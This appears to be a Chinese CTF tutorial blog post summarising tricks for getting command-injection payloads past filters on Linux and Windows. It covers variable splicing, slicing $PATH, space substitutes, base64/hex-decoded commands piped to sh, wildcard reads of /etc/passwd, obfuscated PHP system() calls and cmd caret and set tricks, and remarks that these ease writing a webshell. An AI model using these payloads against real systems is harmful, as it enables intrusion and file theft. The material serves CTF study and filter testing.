php命令执行绕过,CTF之命令执行绕过总结

## Linux篇

### 命令拼接

```

a=who

b=ami

$a$b //输出whoami

```

![title](https://leanote.com/api/file/getImage?fileId=5f0db908ab64412cdb001838)

常用字符使用

```

& 表示将任务置于后台执行

; 多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

&& 只有在 && 左边的命令返回真(命令返回值 $? == 0),&&右边的命令才会被执行。

|| 只有在 || 左边的命令返回假(命令返回值 $? == 1),||右边的命令才会被执行。

%0a

%0d

| (管道符) |表示管道,上一条命令的输出,作为下一条命令的参数

```

例:

```

echo qwe ; ls //会先输出字符qwe,然后执行ls

q=l; w=s; e=" -al"; $q$w$e //执行ls -al命令

qwe | ls //执行后面的命令,前面的不执行

```

这些都可以自己去试试...这些字符最多用到的就是;和|就先只说最常用的了...

### 利用Linux的环境变量

```

echo ${PATH}///usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

echo ${PATH:1:9}//usr/local

```

![title](https://leanote.com/api/file/getImage?fileId=5f0db93fab64412cdb001839)

所以,我们可以通过截断和拼接来得到我们想要的来getshell

```

${PATH:5:1}//l

${PATH:2:1}//s

${PATH:5:1}${PATH:2:1}//拼接后是ls,执行命令

${PATH:5:1}s//拼接后是ls,执行命令

```

![title](https://leanote.com/api/file/getImage?fileId=5f0db949ab64412ac500186e)

空格绕过

```

$IFS

$IFS$1

${IFS}

$IFS$9

< 比如cat

<>

{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来

%20

%09

```

### 绕过关键字

基础常见版本:

```

wh\o\ami//反斜线绕过

who"a"mi//双引号绕过

whoa'm'i//单引号绕过

whoam``i//反引号绕过

echo d2hvYW1p|base64 -d|sh//base64绕过,其中d2hvYW1p是whoami的base64编码

echo d2hvYW1p|base64 -d|bash//base64绕过,其中d2hvYW1p是whoami的base64编码

`echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令

echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码

//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:

wh$1oami

who$@ami

whoa$*mi

```

进阶深入:

```

666`whoami`666//bash: 666root666: command not found

666`\whoami`666//bash: 666root666: command not found

//命令执行后的结果在2个666中间

```

所以更进一步:

```

w`f1hgb`ho`f1hgb`am`f1hgb`i//反引号的作用是把括起来的字符当做命令执行

w`\f1hgb`ho`\f1hgb`am`\f1hgb`i//这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行

wh$(f1hgb)oa$(f1hgb)mi//和上面的差不多,都说执行和拼接

```

![](https://leanote.com/api/file/getImage?fileId=5f0db984ab64412ac5001870)

上述的是既可以绕过命令,又可以绕过文件名的,下述的则是只能用来绕过文件名的:

```

cat fl[abc]g.php //匹配[abc]中的任何一个

cat f[a-z]ag.txt //匹配a-z范围的任何字符

cat fla* //用*匹配任意

a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php//内联执行

```

下述的则是文件名绕过

```

利用正则:比如要读取etc/passwd

cat /???/??????

cat /???/pass*

cat /etc$u/passwd

```

### 命令执行函数绕过

这里只举例`system`

```

system("cat /etc/passwd")

<=>

"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");

<=>

(sy.(st).em)("cat /etc/passwd");

<=>还可以用注释方法绕过

"system/*fthgb666*/("cat /etc/passwd);"

<=>

"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"

<=>

"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"

```

![](https://leanote.com/api/file/getImage?fileId=5f0db9b6ab64412cdb00183e)

## windows篇

### 符号与命令

```

whoami //正常执行

w"h"o"a"m"i 或"w"h"o"a"m"i"或"w"h"o"a"m"i或w"h"o"a"m"i"//正常执行

who^ami或wh""o^a^mi 或wh""o^a^mi"//正常执行

但是"wh""o^a^mi"这种在开头就有单引号的情况是不能执行的

(Whoami)或(Wh^o^am""i)或((((Wh^o^am""i)))) //正常执行 注:可以加无数个"但不能同时连续加2个^符号,因为^号是cmd中的转义符,跟在他后面的符号会被转义

```

![title](https://leanote.com/api/file/getImage?fileId=5f0db9d7ab64412ac5001873)

### set命令

*知识点:用两个%括起来的变量,会输出变量的值*

```

set a=1 //设置变量a,值为1

echo a //此时输出结果为"a"

echo %a% //此时输出结果为"1"

```

接下来的进阶利用就是:

```

set a=who

set b=ami

%a%%b% //正常执行whoami

call %a%%b% //正常执行whoami

```

![](https://leanote.com/api/file/getImage?fileId=5f0db9f5ab64412cdb001842)

所以,上述的符号与命令部分的所有操作,都可以通过set来实现,只需要慢慢拼接就ok

### 切割字符

```

set a=whoami

%a:~0% //取出所有字符,所以正常执行命令

%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行

%a:~0,5% //切割后是whoam,不是系统命令,不能执行

```

![title](https://leanote.com/api/file/getImage?fileId=5f0dba09ab64412cdb001844)

注:上述可以使用减号,和python的切割效果差不多

所以,可以考虑的东西就来了:

```

set a=abc qwe //先自定义

wh^o^%a:~0,1%mi //然后截断整理后就变成了:wh^o^ami,所以命令执行成功

```

![title](https://leanote.com/api/file/getImage?fileId=5f0dba16ab64412ac5001875)

所以,这样写webshell什么的也就很简单了

### 逻辑运算符

- |:可以连接命令,但只会执行后面的那条

- ||:只有前面的命令失败,才会执行后面的语句

- &:前面的命令可以成功也可以失败,都会执行后面的命令

- &&:必须两条命令都为真才可以全部执行。如果第一条语句错误,整个命令都不执行。如果第一条语句对,第二条错误,就只执行第一条

```

whoami | ping www.baidu.com

whoami || ping www.baidu.com

qwe & ping www.baidu.com

qwe && ping www.baidu.com

```

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值